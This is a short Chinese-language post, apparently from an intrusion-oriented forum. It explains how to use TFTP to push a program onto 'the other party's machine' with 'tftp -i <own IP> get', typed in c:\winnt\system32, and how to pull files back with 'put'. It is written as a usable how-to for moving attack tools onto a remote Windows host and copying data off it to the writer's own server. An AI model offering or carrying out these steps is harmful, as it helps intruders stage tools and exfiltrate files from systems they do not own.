用TFTP  我就这个  方法如下

在自已的机器上面运行TFTP后，把要上传 的文件复制到和TFTP同一个目录下，在对方机器上的c：\\winnt\\system32下打入指令,其他目录下也行，
tftp -i 自已的IP get 要上传的程序

，就实现了上传程序的目的，要下载到自已的机器上的话，只要把那条语的get改成put就行
tftp -i 自已的IP put 要下载的程序